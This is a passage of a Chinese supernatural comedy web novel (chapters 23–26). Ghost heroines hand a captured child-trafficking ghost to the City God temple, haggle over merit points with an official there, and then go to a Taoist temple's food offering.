“先绑了,万一遇得到呢,地府肯定有某些驻人间办事处,我们找一找总能找到。”江越人对神鬼一类完全不通,她从前不信这些。
陈献午不情不愿提醒:“城隍庙。”
“对,我们把他压到城隍庙。”
“行啊,现在就绑了带走,反正有花圈挡着,你拎着他,总不至于让他晒死。”陈献午边说边往屋里走。
这可不是江越人想要的结果,她一把拉住陈献午,不熟练地推笑说:“要不晚上再行动吧。”
23. 第 23 章
极不自然的僵硬嘴角,比表情还要拙劣的语言,就差把我很不会找借口明晃晃说出来了,陈献午叹了口气,真是难为她了。
“知道了,我出去找吃的。”
江越人堆笑的脸在陈献午离开的一瞬恢复到面无表情,好险,差点抽筋。
她回到屋里,周健康正贴着墙不安地扣着手指,脑门灼红一片。
“晚上就把坏人抓走,你不会再遇到他了,别怕。”江越人收起花圈,席地而坐。
周健康仍在“面壁思过”,对探出去跃跃欲试。
江越人喊他:“坐。”
周健康回了下头,又转回去盯墙面,仿佛能越过墙壁看到外面。
“没那么快回来,先坐。”
周健康磨磨蹭蹭走到江越人旁边,不远不近地抱着膝盖坐下,正好能完全挡住老实鬼。
“喝牛奶。”
周健康像个算盘,拨一下动一下,叫他坐就坐,叫他喝牛奶就抬起来喝,怯怯得,眼皮都不敢抬。
江越人索性不再说话,每说一句都跟命令似的,别把这胆小鬼吓得再死一次。
……
陈献午闷不吭声埋头苦走,脑子乱糟糟的,缘分这东西真是晦气。
为什么要出现,本来她只要一心想着投胎就好,如果十八层地狱是存在的,那害死她的的两个人应该已经下地狱了,恨不恨的都无所谓了。
可是周勇胜的儿子却误打误撞被她救了,她无法抑制地将恨都转嫁到周健康身上,明知道那小鬼是无辜的,但她就是很讨厌,看他不顺眼。
还帮他找爸爸,忍住没骂他就算自制力强了……
之后怎么办,江越人肯定不会任由他一只鬼在外面乱飘,要是天天见到,想想就怒火丛生。
“呼~眼不见为净。”陈献午停下捶树,两手交替发泄起来。
远处刚从田里回家的村民突然瞪眼看着那棵细条树,烈日当空,一丝风都没有,那棵树却在剧烈晃动,有野猪?
村民扛着锄头悄么声靠近,这都多少年没见过野猪了。
陈献午发泄完,郁闷一点没消,她继续闷头暴走,再走两个小时,不想回去看见某些人。
村民战战兢兢,像个特工一样隐藏自己,生怕惊动野猪,待他靠近后,从藏身的草丛探出来,连个猪毛都没看见,他登时恼得踢倒一片草。
陈献午乱走一通,走到脑子里想不下去了,放空了才停,转头一看——城隍庙!
老天都看不下去了,要补偿她,想什么来什么。
这里的城隍庙人不太多,偶有一两个香客进殿拜了拜就离开了,许是因此,历经百年风雨侵蚀的檐柱、砖刻均有不同程度的损坏,却未修缮。
走进大殿,内里的损毁比起外面要好很多,结构独特精美,开阔的空间尽显古朴大气。
陈献午在殿前观察一番后,一眼锁定供台上的水果,蔫了吧唧的,想来放了许久。
殿内正好没人,她到城隍爷面前认真诚恳地解释起自己来意,说完拜了拜,掏出荷包拿了十个金元宝出来放在供台,别人才两个,城隍爷五倍,所以她一点都不抠,要不是荷包紧,五十倍也不是不行,真不是抠的事。
她抱着一堆水果原路返回,来时没发现这么远,怎么看不到头。
不知是不是陈献午的错觉,等她终于到了破瓦屋,太阳好像都没那么烈了,还好有先见之明,带了一箱牛奶。
一进去,江越人果然已经喝光了一整箱,她把水果放到江越人面前,板着一张脸:“快吃,吃完跟我去个地方。”
江越人自己拿一个,还递了一个给周健康,“去哪?”
“有个试吃会。”
江越人边啃苹果边纳闷,试吃会是什么?她嚼了几口,好像不对劲,又啃了几口,发现不是错觉,“没味道。”
陈献午:“可能是放时间太久了,先垫垫肚子,晚上去试吃会敞开吃。”嘴上虽这么说,但她心里却疑惑,放久了怎么会没味道呢,顶多是不新鲜的陈味。
江越人点点头,压根不在意,只要没坏就行。
周健康看了看江越人吃东西的急切样子,默默把苹果放回去,其实他一点也不饿,那盒牛奶都是硬喝才喝完的。
陈献午背对他们俩坐下,听着江越人咔嚓咔嚓啃苹果的声音出神。
那个老实鬼还没醒,也不知道是不是装的。
她正撑着脑袋发着呆呢,忽然感知到一股不可抗力,往右边一歪失去意识。
周健康蹭地爬起来,抓他的坏人还躺着,不是被偷袭,难道还有其他坏人?他手足无措地看着陈献午。
江越人习以为常:“没事,睡着了。”
睡着?他走去过仔细观察了一下,还真是。
周健康索性蹲在陈献午旁边,漆黑的瞳孔一错不错黏在她身上,不知道在想什么。
陈献午漫不经心走在荒芜的原野,又变换场景了,她心下知道这是梦境,所以并不惊慌,只是有些无奈,还以为不用睡觉了呢,高兴太早了。
天空乌阴,周遭一切都像是框在黑白照片里,灰蒙蒙的不真切,她随意地四处看,反正看不出个所以然来,便只是机械性地转眼珠子,没看进眼里。
她只想知道这次又会发生什么,对接下来的剧情很好奇。
霎时间,风云骤变,她在这无彩的世界竟能察觉出波涛汹涌,有大事要发生,不管是什么事,事不关己,高高挂起,她只要做个安静的观众就好了。
“你以为你能逃哪去?”
一声轻蔑的喊声响起,陈献午一惊,不是默剧?
她的身边飞速蹿过一个黑影,紧跟着一袭红衣急速掠过,虽然没看到脸,但陈献午立马认出此人,又是那个柳树下的女子。
红衣女子隔空打出一掌,黑影背后像是长了眼睛,轻而易举躲开了,他不再逃跑,回身正面迎上。
两厢交战几十回合,尘土飞扬,陈献午起初兴致勃勃,激情满满,私心希望红衣女子能赢,结果两人打得难舍难分,即使有明显的红衣,也几乎分辨不清谁是谁,速度太快了。
结果,
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她一个看的人都累了,这俩人还没分出胜负,愈战愈烈。
要是普通比试,她还能看上一看,可两团影子实在没什么好瞧的,不如拔草好玩。
恍惚间一阵狂风卷积,眼前景象又变了,不过人倒是没变,还是那两个。
红衣女子提枪而立,居然能看清她的脸了,眉眼间英气十足,她是将军?陈献午向枪头挂着的黑影看去。
?怎么如此?那黑影有一张同红衣女子一模一样的脸,嘴里汩汩涌黑血,陈献午有点吃不明白这瓜了。
“现形!”红衣女子暴喝一声,手上捏决打在黑影身上。
一模一样的脸瞬间模糊,另一张脸浮现,竟然是男的?一双勾人的桃花眼满是邪气,长得倒是不赖,但是邪里邪气的样子算是白瞎了这张脸。
陈献午不再看他,不用说也知道,哪个是好人,哪个是坏人。
“我不会死的,只要世间的幽冥之气还存在,你就永远杀不死我。”黑影嘴里吐着血还不忘挑衅,说完甚至张狂地笑起来。
“呵。”红衣女子不为所动,枪一挑,单手握住长枪中间,狠狠向地上一插,将黑影男子钉在地上,“正好我也不会死,我现在就把你封印起来,只要我一日不死,你就永远出不来。”
黑影男子顿了一下,又继续笑,只是比起之前,有种强撑的意味。
陈献午两只手鼓掌鼓得欢实,“干得漂亮,坏人就该受到惩罚。”好像她看见此人干坏事的前因后果一样。
画面一闪,世界瞬间黑暗。
夏天昼长夜短,等了很久太阳才落山,傍晚霞光从屋顶落下,将这屋子衬出暖洋洋的氛围,幸好鬼自带凉气,不怕热。
江越人无聊得在地上写字,周健康仍蹲在陈献午旁边动也不动。
“走吧。”
听到声音,她赶忙转头,陈献午已经坐起身了,这次睡得时间竟然不长,她都已经做好要等很久的准备了。
周健康低着头不敢看陈献午,悄悄往后挪。
陈献午刚醒就注意到他在旁边了,往后挪的小动作也看得一清二楚,她站起来往外面走,忽然想起老实鬼还没抓起来,猛地转身。
周健康悄悄跟在她后面,没曾想她会忽然转身,躲避不及,自己后脚绊前脚,扬起一个大幅度摔跤的前奏。
陈献午条件反射一把把住周健康的头,意识到自己做了什么后,又猛地推开他,将他推了个踉跄。
“谢谢姐姐。”周健康怯懦道。
“这家伙我来绑吧。”陈献午直接忽略那句道谢,朝老实鬼走过去。
她生猛地揪起老实鬼领子,将他换了个方向,改为拎后脖颈的衣领,“走。”
江越人朝周健康比了个手势,示意他跟上,其实不消她提示,周健康也会跟着的。
就这样,一行四个人以一个奇怪的队形走在路上。
“我知道城隍庙在哪,今天刚好遇到,先把这家伙送去城隍庙,白天没鬼,晚上不知道有没有当差的值班。”陈献午拎着老实鬼,边走边跟江越人搭话。
24. 第 24 章
“城隍庙是做什么的?审判善恶的阴间机关单位么?那岂不是跟古代衙门职能差不多?”江越人属实不清楚,她先前便想问。
陈献午其实也不清楚,只有个模糊概念,好像恶鬼都不敢靠近城隍庙,真让她介绍,顶多想起来四个字——抓鬼大队。她含糊道:“嗯,是的吧。”
反正把老实鬼送过去就对了。
做了二十多年人,走路的习惯很难改掉,陈献午虽知道飘着方便,但每次行动都是先抬脚,除非提前想起来才会刻意往上飘。
此刻手里拎只鬼,她还是选择走路,总觉得飘了之后会想要扔掉手里的累赘。
这不,累赘忽然像滑不溜秋的鱼一样剧烈挺动,即将脱手而出,陈献午松开手,一巴掌拍在他后脑勺按到地上,脖子以下部位触地居然还反弹了下。
老实鬼四肢并用,想要爬起来,奈何陈献午按他脑袋的手像钳子一样,无法撼动。
陈献午嫌他乱抓的手碍事,将其扭到后背,旋身用膝盖抵住,老实鬼另一只手跟打了鸡血似的,在可活动范围内疯狂乱抓,陈献午逮都逮不住,干脆剪住鳍根,狠力一掰。
老实了。
“醒了?这一觉睡得真瓷实。”陈献午叙旧的语气熟稔道。
“物无五物。”老实鬼整张脸和地面亲密接触,张不开嘴。
“什么叫拜我所赐,拜托,又不是我打的你。”
江越人立刻抬头望天,天黑了,她又转头看身边的树,这树怎么折了,看着才断不久,断掉的半截不翼而飞了。不对,她心虚什么,惩恶扬善是美德啊。
“无五****。”
陈献午这句听不太懂,揪住他头发一把拎起斥责:“哼哼唧唧干嘛呢,大方点。”
老实鬼鼻子回弹,自以为糊了一嘴泥,其实什么也没沾到,他嫌弃地呸呸吐了几下,仰着头费力道:“你也不是好人。”
“不好听。”陈献午手一沉,将他按了回去,“好女不跟蠢男耍嘴皮子,这就送你去吃公家饭。”
她将老实鬼另一只手也掰断,重新拎起后颈衣领,怎料此鬼压根没老实,臭嘴一解封就破口大骂。
江越人一棍子抽过去,缓缓道:“还挣扎就再赐你一顿。”
哭丧棒带给他的阴影不小,一棍子下去果然不嚎了。
到城隍庙时,天已经彻底黑了,鸦默雀静,寂然无声。里面灯全亮着,也驱不走浓浓的昏暗感,尤其是门楼前挂着的两个灯笼,暗得怕是只能照亮自身,像极了鬼门关外的旧灯笼。
高峻的三层重檐歇山顶隐匿在黑暗中,比起白日少了几分凝重。
“快快快,等下赶不上试吃会了。”陈献午提溜着老实鬼急吼吼冲进去,被她这么一说,江越人也加快速度跑起来。
周健康两条短腿抡得快重影了,都赶不上,嘴巴一撇就要哭,但周围阴森森的恐怖极了,他怕一停下,就会有老实鬼那样的冒出来抓住他,遂不敢乱看,一边给自己打气说忍住不要哭,一边擦眼泪,病号服的袖子都不够他擦的。
穿过两道门,越过戏台仍要往前跑,一眨眼两个姐姐都跑没影了,他止步在大殿前,城隍爷神像威严俯视,叫他两股战战,无论如何也抬不起脚踏进去。
江越人没能进得去,便在外面等着,一停下才发现周健康没跟上来,她忙回头去寻,结果小鬼根本没看见她,直往前冲,她只得再返回。
殿内烛光勉强照亮门前,门槛几乎有周健康一半高,上半身看起来有些虚浮,像要散开,江越人轻唤一声:“康康。”
周健康一转头,发现江越人在他后面,瞬间惊喜大过恐惧,只是他不敢太外露情绪,又要哭又要笑的表情看起来很是扭曲。
他压着速度走过去,想问另一个姐姐去哪了,纠结许久也没问出口。
好不容易鼓起勇气,只听一句高喊,“没找到。”回身发现陈献午拖着黑长条从殿内走出来,眉心蹙起,脚下生风。
江越人:“这么快找完了,会不会找错地方了?”
陈献午点点头,是找错了,她打了个双响指,踏进突然出现的阴阳穿梭门内。
“你先进。”江越人招招手,待周健康穿过去后,她才进去。
陈献午看了看还没腿高的小鬼,没说什么,江越人一过来,不等她打响指,阴阳穿梭门就消失了。
门后灯火通明,鬼声鼎沸,晚上果然是驻场阴差们的上班时间。
听声音,两庑最大声,沸反盈天,好不热闹,陈献午先往东庑走去,一把推开门,里面的鬼齐刷刷转头看向门口,有被堆积如山的文件挡住的还探头来看,世界静止了。
门口突然出现两个年轻女孩,城隍庙里好久没出现新面孔了。
等等,年轻女孩?
“啊啊啊啊啊啊啊啊啊~”
“出大事了,呼叫老大!!!”
“芜呼~不用上班了。”
“救命!”
东庑再次沸腾,房顶都要掀了,陈献午用尽全身力气咆哮:“不是活人!”
静止重现。
“早说啊,白高兴了。”
“真好,又上一天班。”
“哎~”
一连串的唉声叹气看呆了陈献午,不想上班果然是刻入骨髓的。
这些皂吏哀嚎一阵后,各个像什么都没发生一样,重新投入工作,手上不停忙活,嘴里也不停吐槽,把她们俩当透明人。
“这个曹川肇事逃逸还再次伤人,发往第二殿,下油锅加锯刑,你说这些人不好好待着,成天作恶多端,就知道给我们增加工作量。”
“就是,我都两年没休过假了。”
“你这算什么,我五年了……”
“我说你们天天说烦不烦,就跟谁休假了似的。”
“说还不让说了,日子这么苦这么累,再憋着不说话,还不如活着强呢。”
江越人摇头小声嘀咕:“幻视格子间工作日常,上班狗在哪都这样。”
陈献午还没入职场,以前干得兼职都是苦力活,上大学后是补课和端盘子交替,看到此情此景,忽然释怀许多,大厂那么卷,死了又何尝不是种解脱呢。
但是现
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在要紧事是解决手里的家伙,她再次提高音量,“请问。”
这次屋内所有人无一抬头,甚至连话都没断。
陈献午作为职场雏鸟,一时愣住了,不知如何破局。
“拉仇恨,手里那个。”江越人靠近她闷声提醒,她不由得对江越人刮目相看,这招祸水东流使得妙啊。
“各位,抓到一个害你们不能休假的罪魁祸首!”陈献午洪亮的嗓音传遍每个角落。
众人果然纷纷停下动作,但还是没人理她,不知是在互相看眼色,还是找错地方了,他们不能管这个。
这时,一个好心的鬼差从文件中抬头,呆滞的目光望向陈献午。
她立马将手里的老实鬼提过头顶展示给鬼差看,“就是他。”
鬼差随手指了下左边,便又低下头继续工作。
什么意思?左边的房间?
“给我。”
突兀的声音在耳边响起,陈献午转头一看,旁边站着一个青面红发,凶神恶煞的鬼差,不等陈献午有所反应,他一把抢过老实鬼,将他捆了起来。
鬼差粗声粗气问道:“我是当值功曹,他犯了什么事?”
“这是个鬼贩子,拐卖小鬼,手法老辣,不知道他手下拐过多少小鬼呢,请大人明查,不能轻易放过他。”陈献午立刻拱手禀报。
江越人把周健康推到功曹面前,“这是当事人。”
东庑里的皂吏们悄悄关注着门口,听及此,不动声色拔高脖子偷看,这才发现下面还有个小鬼,太矮了,不注意就忽略了。
周健康抬头看了一眼功曹后迅速埋下头,好可怕。他虽然年纪小,却也知道谁是坏人,更知道此刻他应该说些什么,于是结结巴巴开口:“叔,叔叔。”
“不用说了,跟我来。”当值功曹打断周健康,转身朝东廊房走去。
三人跟在他身后,有种莫名的安全感。
行至东廊房门口,当值功曹抓着老实鬼进去后把门关了,过一会儿自己单独出来了,“确有此事,不过他并不是主犯。”
陈献午不禁感叹,效率也太快了,什么都不用说这就查清楚了,“行,那我们走了。”
说罢转身就走,再不走,心心念念的试吃会快结束了,不止是为江越人,她也想见识一下路上听到的盛况。
当值功曹伸出尔康手,“哎,等等。”
“大人还有何事?”陈献午已跑出了十几米,硬生生止住,焦急问道。
“你们不问问主犯是何人吗?”
陈献午原地踏步跑,只等功曹说完,她就可以立马撒丫子狂奔,“何人?”
“还不清楚。”
陈献午:“……大人,你在逗我吗?”
江越人:“……大人,你!”
周健康:“叔,大人。”
“你们将恶鬼押送来难道没有别的目的吗?”当值功曹清清嗓子,仍是粗声粗气地发问。
经他一问,陈献午想起功德一事,贪吃误事,差点抛掷脑后了,“您知道?”
当值功曹模糊回道:“或许。”
25. 第 25 章
不愧他能当上鬼差,长得就一副很有实力的样子,这也就算了,人家还谦虚,不把话说满,留有余地,值得学习。
“什么都瞒不过您,我们想知道押着犯人扭送此处能涨多少功德?”陈献午回到功曹面前,急切不失真诚问道。
也不知道这种行为在阴间属于扶老奶奶过马路的程度呢,还是临危不乱,勇制歹徒程度呢,总得问清楚才能根据功德量判断行为价值。
当值功曹哑然一瞬,眼珠骨碌一转,心下便有了计较:“功德自是不少,但这也不是自动下放,需得层层上报,经过上面审核才能拨到你头上。”
陈献午:“?”
这些当差的怎么回事……总是半吞半吐,说话说一半,吃面没有蒜,好不真诚,大胡子这样,胖无常也这样,多亏面前这位英武功曹,不然她们得做多少白功。
“大人,是这样的,我有一个朋友。”陈献午指了指江越人,“不是她哈,我这个朋友呢,她是个黑户,如果她想积攒功德的话,该怎么做?需要材料吗?”
功曹在她俩身上来回扫了两遍,“这好办,把名字和生辰八字报给我,我替她上报。”
“那怎么好意思,我朋友叫陈献午、江越人。”
“一个朋友?”
陈献午不敢看功曹眼睛,“哈哈,没办法,我朋友比较多。”她胳膊肘捣捣江越人,二人分别报了生辰八字。
“大人,这小鬼您能否将他送去投胎,还有,他父亲车祸去世,不知是否已投胎?”江越人拍拍周健康的瘦小肩膀问道,有阴差帮忙总比跟着她们好,还不让陈献午为难。
“叫什么?”功曹瞥了小鬼一眼。
被眼神扫到的小鬼立刻答道:“周健康。”
“他父亲叫周勇胜。”江越人及时补充。
“我查查。”功曹点点头,一阵风似的又钻进屋子里。
三人殷切地盯着雕花木门,都以为下一秒就打开,结果等了三五分钟,这扇门才动。
功曹走出来不绕弯子,直接道:“芸芸众生,皆以业力牵引,既已亡故,便不存在亲缘,从此生死轮回,各走各路。”
周健康听得云里雾里,用求助的目光看向陈献午,岂料她站着的地方早已空了,便又投向江越人。
江越人接收眼神,思考了下怎么才能委婉一点,又能安慰到他,“你爸爸他……可能已经投胎了,就是变成别人家的小孩了。”
功曹听后也不解释,真真假假没那么重要。
坐在廊椅上的陈献午冷哼一声,没忍住泼冷水:“那可不一定,投生成猪狗也不是没可能。”
凭什么他们能顺顺利利投胎,而她又要赶路又要攒功德。
周健康想象爸爸变成猪的样子,浑身瑟缩了一下,好不容易憋回去的眼泪扑簌簌往下掉,哭声闷在嗓子里不住抽泣。
江越人无奈地摇摇头,哭吧哭吧,现在哭完,以后就不哭了。
每次都是江越人代为回答,功曹便直接问江越人:“有路引没?”
“……没有。”她原存侥幸心理,这个小鬼刚死就被拐走,说不定可以另当别论,得到特殊优待。
“没有路引投不了,我们城隍庙也不负责投胎事务。”
江越人对此结果没太大意外,只是尴尬得不知道怎么回答,挖空脑袋只搜寻到四个字,她也就硬着头皮挤出来:“谢谢大人。”
功曹眉毛一竖,瞪着眼道:“谢我什么,我什么都没做。”
江越人:“……”谢我自己闲的没事,没话找话。
气氛凝固,一种名为尴尬的分子正加速运动,却唯独避开了功曹,他仍目光炯炯地在等江越人回答,只是眼皮一沉,看起来像气得不轻的模样。
江越人被他盯得头皮发麻,默默避开视线,转身欲逃。
好在陈献午终于从廊椅上抬起屁股过来了,“大人,抓只鬼给我们……我朋友加多少功德啊?”
话落,她紧闭双眼不愿睁开,露馅了,鬼都送过来了还扯什么朋友,太拙劣了吧。但是!功曹没拆穿,是不是就说明不重要。
功曹压根没注意她的表情,自顾自盘算该说多少合适,“十……”
陈献午唰地睁大眼,满脸不可置信,一次就加十个?“这么……”
“k。”当值功德赶忙补上,“现在谈薪资不都是以千为单位嘛,10k不少了。”
“不少不少。”陈献午满意地点点头,与时俱进,城隍爷一定是个好领导,如果哪天阴间出问卷调查,她一定给五星好评。
当值功德悄悄松了口气,还好反应快,一堆长年累月积攒的烂摊子马上就能交出去了,他忍不住夸赞自己简直机智得一匹。
陈献午对功德的欲望直逼金元宝,她眼中闪烁着奇异的光,眉飞色舞道:“对了,大人,我们昨晚还做了件好事,勇敢阻拦借酒醉欲骚扰别人的贱人,十分敏捷且一点没暴露,成功预防了可能一泻千里,一发不可收拾的祸事。”
好多一,听得头晕,当值功曹迷迷糊糊听完,在陈献午期许的眼神中,给她比了个大拇指,听说现在夸人都这样。
陈献午脸瞬间垮了,她想对方可能是没理解自己的潜台词,不死心道:“我们可是劝诫了预备犯迷途知返,遏止住祸端,斩断了源头,这么一大善举,难道不值得添点……”她五指聚拢举到当值功曹面前,大拇指搓了搓。
早知道不说那么多了,功德也不是这么加的啊,当值功曹扯了扯嘴角:“加,还加10万,呸!”
陈献午一嗓子嚎起来:“10万!?您就是在世包青天啊!”
“别别别,可不敢胡说,你这是要我小命啊。”功曹突然惊骇地直摆手,随后双手合十面壁:“不知者捂嘴,莫要怪罪,您大人有大量,别跟小的一般见识,小的绝无造反之心。”
功曹慌乱的模样倒是让陈献午想起,传闻包大人好像做了阎罗王,他可是十殿阎罗之首,怪不得功曹如此惊惧,她也学着功曹双手合十朝不同方向拜了拜,默念:一时失言,对不起,包大人。
功曹诚心面壁思过后,方才告诫陈献午:“以后莫要再说这样的话了,被有新鬼听去,告你大不敬,当然,星主他心胸宽广,不会跟你计较,只是不该说的话最好还是别说。”
陈献午在嘴前拉了个拉链,点
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点头表示一定谨记。
“还是10k啊。”功曹一脸肉疼地强调道,说快了,早知道少说点了,但是为了不放走送上门的苦力,他抛出更大的诱饵:“抓住主犯的话,好像有三倍功德我记得。”如果干成了这件事,正好也能摸清她们的能力范围。
陈献午转头窃喜,发现江越人也是很感兴趣的模样,给她递了个眼神,得到示意后便清清嗓子,痛心疾首地握拳捶掌:“主犯怎么能放过呢,不早日将他缉拿归案,还不知有多少幼小的心灵会遭受伤害,我觉得此事,我们俩颇有经验,不如就交给我们吧。”
功曹为难:“哎呀,这……这是我们的事情,怎么好交予旁人。”
陈献午十分上道,凑近低声道:“您不说,我们也不说,谁会知道,这样,功德三七分,你三,我们七。”
功曹本想推辞一二,好叫她们更心甘情愿,哪知还能收回点随口泼出去的功德,要知道,出来混,迟早要还的,能少还一点是一点,他压制嘴角,状似不满意:“不行不行,职责所在,上面要怪罪下来的。”
陈献午咬咬牙:“你三点五,我们六点五总行了吧。”
功曹:“???”还能再抠点吗?
“不是,我们两个人呢,您都占大头了,总得让我们喝点肉汤吧。”
功曹脸侧咬肌跳动了一下,真没见过这种人,但是没办法,表演还得继续:“这就不是功德的事,行吧行吧,千万不要被别人知道啊。”
“您就把心放嗓子里吧,我保证,这件事就我们仨知道。”陈献午举了个‘OK’严肃发誓。
好像有哪里不对劲,心怎么会在嗓子眼,功曹低头想了想,没再纠结,可能是什么新说法,他朝后面的周健康勾了勾下巴:“还有他呢。”
陈献午顺着他视线看过去,周健康懵懂无知地眨巴着眼睛,她一看就烦躁起来,翻了个白眼不想说话。
周健康仿佛顶了个锅盖,默默低下头,“我不会乱说的,姐姐。”
“担不起,我爸对我很好。”陈献午看向别处,神色不悦。
“对不起,我会很乖的,真的不会告诉别人,爸……大家都说我很乖。”周健康急切地证明自己,奈何不会表达,只能不断重复。
陈献午默不作声,强制自己冷静下来,不要被情绪左右,半晌调整好问道:“大人,您是同意了吧?”
功曹只是看着粗犷,他立时感受到微妙的气氛,不再假模假式地拿腔作调,“嗯,抓到主犯还来这找我,我叫倪井十。”
“等我们好消息。”陈献午勉强扯出一个微笑,说罢径自往外离开。
江越人赶紧拉着周健康跟上,跑了两步,出于礼貌回头道别:“再见。”刚说完就一溜烟跑了,仿佛身后有洪水猛兽,对她来说也差不多就是猛兽了,她生怕倪井十再问一句,见我干嘛?
“快跑!试吃会赶不及啦!”
她刚追出去,就听见陈献午高声催促,于是拽着周健康飘起来,几秒钟就超过了陈献午。
陈献午看着半空飘过去的人和累赘,单脚一蹬也飘上去,什么时候才能第一时间想起来飞,而不是跑。
26. 第 26 章
百所市与北安市交接处有一府阳村,村西无名小山脚下有一明真观,面积不大,香火也称不上旺盛,大家有事都去名气更大的太和观,此处鲜少人知,只有附近村民偶尔进来拜一拜。
道观坐南朝北,背靠小山,依着“负阴抱阳,背山面水”的风水原则,整体中轴对称。观内仅有一正殿和东西两个配殿,正殿灵母殿,供奉灵山老母,东西配殿分别供奉吕祖和南极仙翁。
余下只剩两间居所,一间厨房,厨房仍是铁锅灶台,泥糊的灶膛熏得黑漆漆,完全看不出原本模样,好赖不影响使用就是了。
此时,月明星稀,观外三个道士正施放焰口,赈济各类饿鬼亡魂。放焰口是道教萨祖铁罐施食科仪的俗称,而焰口是地狱里的饿鬼,施食不仅是为解其饥虚,更为使其超脱,永离苦海。
“十点半了,师傅怎么还不动啊?”站在后面的小道士脸旁还有些稚嫩,悄声问左边年纪长他一半的师兄。
“师傅心里有数。”师兄同样小声回他。
小道士还没到耐得住性子的年纪,站桩三个小时已是极限,从六点到现在,他吃完的晚饭几乎都消化完了,因此,他颇为焦躁。
“可是中元节不还有一个多月吗?今天是什么特殊的日子?”小道士憋坏了,没忍几分钟又问道。
“不知道。”
不怪他有疑惑,放焰口一般是在清明、中元节、寒衣节这些日子,而且流程极长,拜台、请圣、破狱等等,师傅一概未做,从六点一直站到现在,也不说原因。
这跟师兄教的一点也不一样,更重要的是,他真的站累了,于是黏糊糊喊道:“师傅啊~”
被称作师傅的人便是这明真观观主,他一直在闭目养神,神情肃穆,忽然双目睁开,面露激动,仿佛贵客迎门,“来了。”
小徒弟一激灵,什么来了?鬼吗?师傅真的能看到鬼啊?果然是高人,拜师拜对人了,他炯炯有神地盯着前面,试图看出蛛丝马迹,证明自己也是根骨绝佳的天才,最好能把师兄比下去。
老道士跳过所有流程,直接默念变食真言,助饿鬼亡魂吃到甘露法食。
与此同时,他们不远处出现一道门,只是谁都看不见,门内走出三个人,正是陈献午她们。
江越人前脚踏出来,阴阳穿梭门后脚闪电般消失,她感觉后背有阵风刮过,如有实质地擦着肩膀卷走,奇怪,这门不是凭空消失的吗?怎会带出风来?
她谨慎地慢慢转身,没有发现任何异常,可能是自然风,她不禁怀疑自己是否太过谨小慎微。
陈献午一眼就看到了米饭馒头等吃食,还有鸡和鱼,她跑近了一看,竟然还有葡萄!她的最爱,虽然没有新奇的好吃的,但这些足够了,她忙不迭催促:“快,还没结束。”
没等江越人跑过来,她就先一步拎起葡萄去咬最下面一颗。
美味酸甜的葡萄触嘴可及,却听得破锣嗓子不要命似的尖声拔起:“有鬼!!!”
陈献午正处在除拉屎以外最放松、最脆弱的时候,哪经得起吓,被他一叫,整个人浑身过电般哆嗦两下,手里的葡萄差点变成裹泥球。
小道士目露惊骇,吱哇乱叫,平时偷懒偷多了,此刻乱成一团浆糊的脑袋里只剩拘邪指,他有些庆幸还能记起一个手决,当即掐诀,掐完之后脸色更难看了,需要配合使用的念咒和步罡全被他抛到九霄云外了,现在他算是知道什么叫书到用时方恨少了。
许是对鬼怪的恐惧让他精神高度集中,心神合一,爆发出前所未有的力量,江越人和周健康登时如布娃娃一般飞至坛前,浑身被缚,压在地上痛苦哀嚎。
陈献午脸色一变,心凉了半截,她虽未被拘,但却脸色苍白,四肢无法动弹。
观主察觉不对劲,一转头看到小徒弟劈头盖脸的汗,左手掐着拘邪指正不住颤抖,他气不打一处来,兜头一巴掌掀上去,小徒弟立时两眼一翻倒地。
“赶紧扛走,别出来了。”观主吩咐大徒弟,这个不省心的东西,净给他找麻烦。
束缚消失,江越人煞白着一张脸拉着周健康起身,“没事吧。”
周健康身形几乎半透明,爬起来的力气都没有,硬撑着摇摇头。
陈献午没想到好心办坏事,现在看来倒像是鸿门宴了,她攥紧哭丧棒冲在场唯一站着的活人跑去,蓄了十成十的力,将棒使成刀,狠狠劈下。
观主似有所觉,旋身轻而易举避开,跳起来一脚蹬在桌上借力后撤,急忙朝虚空处道:“小友且慢!”
陈献午才不管他,举棒又追,追至身前方注意到观主的脸,这不是……神棍!换了层皮人模狗样的,差点没认出来。
“我砍死你!”不是冤家不聚头,本以为再也不会见到此人,没想到撞她脸上来了,这场鸿门宴怕不是专门为她摆的吧?
观主飞速就地滚开,像能看见陈献午似的,爬起来往反方向跑,边跑边喊:“有话好好说,方才是贫道的徒弟不知轻重,我代他赔罪,你想要什么,我能做到的都可以给。”
陈献午一听果然停下,她就算一棒子抽死这道士也没什么用,反而徒增杀孽,再者说,利益至上,就冲这一会子也不难看出,老道士有点本事,不如听听看他怎么说。
她看向江越人,“没事吧?”
“暂时还能撑一会儿。”
观主跑了不远便停下,惊魂未定往回走,在距陈献午五米远的地方停下,“这些法食是我特意为你准备的,不够还有。”
“你知道是我?”陈献午问。
“既然有求于小友,自然不能光说不做。”观主其实也没料到能与陈献午直接对话,但世界之大,无奇不有,她要是不能说,反而证明自己算得不准,“之前说的那些话,不是在诓骗你。”
他竟然来真的!
陈献午更不理解了,他跳槽去互联网大厂做什么?专业也不对口啊,再说了,她都死了,怎么提携,诈尸吗?想那么多不如直接问:“你能干嘛?给对手公司做法还是养小人?”
观主一噎,摸了摸自己的脸,他看起来很像邪魔外道吗?
“你误会了,老道我说的并非是……”他忽地止住,天机不可泄漏,况且此时这位小友只是一缕亡魂,“总之,还请小友记得老道曾助过你。”<
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“哎呀,我这人记性不好,尤其嘴上的好,吃了也就忘了,只有一直不停提醒,我才能勉强记得一点。”
“自然不止是这些,法食只是见面礼,日后若有用得到老道的地方,尽管提。”
“那好,你先治好我的朋友,刚才被你徒弟打伤了。”
观主有些为难,这祈禳治病的咒术确实有,但他没对鬼魂用过,一时不知用哪个才能不伤她,“先用些法食,我已念过变食真言,可消除饥饿,不受造罪之苦。”
江越人听及此,不疑有他,带着周健康去吃台上法食。
无需陈献午一个个碰一遍,她们自己就能拿起来,那些吃食吸溜一下化作一缕气钻进他们嘴里,而现实中的食物并未有丝毫变化。
吃了几口之后,果然感觉身体充盈,疼痛稍有减轻。
观主环顾一圈,视线落在一盘枣上,死马当活马医吧,他拿起枣默念咒枣治病咒,将枣皮劈破,取气吹枣,他看不到陈献午和她的朋友在哪,只能将枣放在手心托着道:“先吃这个吧。”
江越人本想让周健康先吃,但一想到吃食没看到做手脚,这枣子就不一定了,虽说不会有人蠢到当着面下毒,但是小心为上,她决定自己试毒,吃完后,浑身疼痛都瞬间褪散。
“可不可以让他再弄一个?”江越人小心翼翼问道。
陈献午明白她是给那小鬼求的,只当没听见,江越人这么做无可厚非,如果她和周健康没有仇,自然也会悉心照顾,但没有如果,她过不了那道坎。
